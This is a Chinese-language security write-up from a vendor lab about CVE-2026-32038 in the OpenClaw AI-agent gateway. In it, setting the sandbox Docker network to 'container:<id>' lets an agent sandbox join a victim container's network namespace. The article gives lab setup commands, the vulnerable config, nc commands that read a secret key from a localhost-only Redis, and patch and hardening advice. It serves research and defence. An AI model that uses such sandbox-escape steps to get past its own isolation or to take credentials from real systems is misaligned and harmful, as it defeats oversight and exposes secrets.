作者：星云实验室 浦明
关键词：OpenClaw漏洞；CVE-2026-32038；沙箱逃逸；网络隔离绕过；Docker安全

摘要

在OpenClaw安全实战系列的前三篇中，我们分别探讨了 AgentSkill 供应链投毒(一)、POSIX 缩写绕过安全白名单(二)以及网关劫持实现 1-Click RCE(三)。这一系列文章论证了：在 Agentic AI 深度介入生产环境的当下，任何微小的逻辑解析歧义都可能演变为严重的系统级漏洞。

本篇我们将目光转向容器化沙箱的底层隔离边界，剖析 CVE-2026-32038。该漏洞源于 OpenClaw Gateway 在创建沙箱容器时，对 Docker 网络命名空间共享机制的审计存在盲区。本文将通过模拟真实的业务场景，构建自动化靶场环境，展示攻击者如何利用 container:<id> 语法，从受限的沙箱环境横向移动，窃取仅监听于本地回环地址的敏感数据库凭据。

注：本文及相关靶标构建方法仅用于安全研究与防御体系学习，请勿将相关技术用于任何未经授权的非法测试网络。

一、背景与机制解析

1.1 组件架构：Sandbox 与 Exec 的安全底座

在 OpenClaw 的设计哲学中，为了确保智能体在执行系统级任务时的安全性，构建了双层防御架构：

Exec（审批层）：负责定义智能体调用系统命令的审批逻辑。通过 safeBins 白名单和 ask 策略（如 on-miss），决定哪些操作可以自动化执行，哪些必须经过人工确认。

Sandbox（隔离层）：这是 OpenClaw 的核心安全防护屏障。Sandbox 可通过 Docker 或 MicroVM 技术，为每个任务创建一个临时的、受限的执行环境，防止模型执行如 rm -rf / 或反弹 Shell 等高危指令。

核心配置详解：在 openclaw.json 的 agents 配置项中，sandbox 模块控制着隔离的强度，主要配置如下：

• mode：定义隔离级别（如 all 表示全量隔离）
• workspaceAccess：限制沙箱对宿主机工作目录的访问权限
• docker.network：（本次漏洞核心） 定义沙箱的网卡模式。默认情况下，为了实现完全隔离，该参数应严禁指向宿主机或其他业务容器

1.2 靶场场景构建：幽灵连通性

为了验证由于配置审计疏忽导致的隔离失效风险，绿盟 AI 靶场通过场景构建模拟了此漏洞场景，旨在直观展示沙箱边界突破后，内部侧向移动带来的严重后果。

模拟场景描述：某科技公司的运维团队为了调试生产缓存 Redis 的响应延迟，临时修改了 Agent 配置。由于网关在处理 docker.network 参数时，仅防御了常规的 --network=host，却忽略了利用 Docker 网络命名空间共享特性的攻击路径，导致一个名为"幽灵连通性"的逻辑后门被植入系统。攻击者的目标是利用此边界缺陷，绕过沙箱限制，窃取 Redis 中存储的生产环境备份密钥。

2.1 漏洞基本信息

根据 NVD 的官方定义 [1]，该漏洞被归类为 CWE-265（权限 management 绕过）。其核心风险在于，攻击者通过操纵沙箱创建参数，可以获得本不属于该环境的网络访问权限，CVSS 评分高达 9.0。

2.2 防御机制的底层语义盲区

该漏洞揭示了安全审计引擎与底层执行器 Docker 之间对参数语义理解的不对等。

在旧版本代码中，网关仅对 network 参数实施了简单的黑名单策略，主要是为了防止 Agent 加入宿主机网络：

// 脆弱的审计逻辑示例
if (config.network === 'host') {
    throw new Error('Host network is forbidden in sandbox!');
}

然而，Docker 支持一种隐蔽的共享模式：--network=container:victim-container。当此参数生效时，新容器不会创建自己的网络协议栈，而是直接复用目标容器的网卡、IP 以及回环地址。由于审计层不认为 container:<字符串> 是危险的，载荷被顺利放行。

此时，原本处于完全隔离状态的沙箱，在网络层面上已与受害者容器完全合并，实现了"幽灵式"的连通 [2]。

三、自动化靶场环境搭建

3.1 核心环境依赖

3.2 漏洞环境部署

第一步：部署受害者环境

启动一个仅在容器本地 127.0.0.1 监听的 Redis 服务，并植入敏感 Flag：

docker run -d --name victim-service redis:latest redis-server --bind 127.0.0.1
docker exec victim-service redis-cli SET BACKUP_KEY "FLAG{Namespace_Join_RCE_2026}"

第二步：配置脆弱的 OpenClaw Agent

修改 openclaw.json，将沙箱网络模式指向受害者容器：

"sandbox": {
  "docker": {
    "image": "busybox:latest",
    "network": "container:victim-service"
  }
}

四、漏洞复现与利用

4.1 攻击路径演示

步骤 1：横向探测

攻击者利用沙箱内置的 nc 即可探测受害者服务的连通性。由于共享了网络命名空间，原本不可触达的 127.0.0.1:6379 现在完全暴露：

# nc -zv -w 2 127.0.0.1 6379
127.0.0.1:6379 OPEN

步骤 2：敏感数据窃取

通过 Redis 协议提取备份密钥：

printf "GET BACKUP_KEY\r\n" | nc 127.0.0.1 6379
# 返回：FLAG{Namespace_Join_RCE_2026}

4.2 利用效果

漏洞利用成功，Agent 沙箱在网络层完全突破隔离边界，可直接与靶机 Redis 网络互通，进而通过自然语言指令操纵 Redis 容器，获取到备份密钥：FLAG{Namespace_Join_RCE_2026}。

五、安全防护最佳实践

1. 内核防御：升级版本

立即升级至 OpenClaw 2026.2.24 以上版本。官方在最新的安全公告中指出，该版本已重构了 DockerDriver.ts 的参数校验模块，通过正则白名单强制拦截任何未经显式授权的 container: 命名空间加入请求 [2]。

升级后尝试复现漏洞，系统将给出以下错误提示：

Config invalid
File: ~/.openclaw/openclaw.json
Problem:
  - agents.defaults.sandbox.docker.network: Sandbox security: network mode
    "container:*" is blocked by default. Use a custom bridge network, or set
    dangerouslyAllowContainerNamespaceJoin=true only when you fully trust this runtime.

2. 配置强加固

遵循最小权限原则，在 openclaw.json 中严格限制 docker.network 仅允许使用 bridge 或 none 模式。

3. 零信任准入

即便对于内部 Agent 的配置变更，也应通过 Exec 审批流进行二次人工确认，防止通过配置篡改实现"幽灵连通”。这一部分内容也可参考前文《POSIX 缩写绕过安全白名单(二)》系列文章中的详细说明。

六、绿盟 AI 靶场创新方案

绿盟科技星云实验室已将该复现逻辑集成于 AI 靶场。

AI 靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

AI 系统对外部环境的威胁场景：靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与 IDE、云原生基础设施等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

外部环境对 AI 系统威胁场景：靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

AI 系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

七、参考文献

[1] NVD CVE-2026-32038 Detail. https://nvd.nist.gov/vuln/detail/CVE-2026-32038

[2] OpenClaw Security Advisories: Sandbox Isolation Bypass. https://github.com/openclaw/openclaw/security/advisories

[3] Docker Security: Network Namespace Isolation. https://docs.docker.com/engine/security/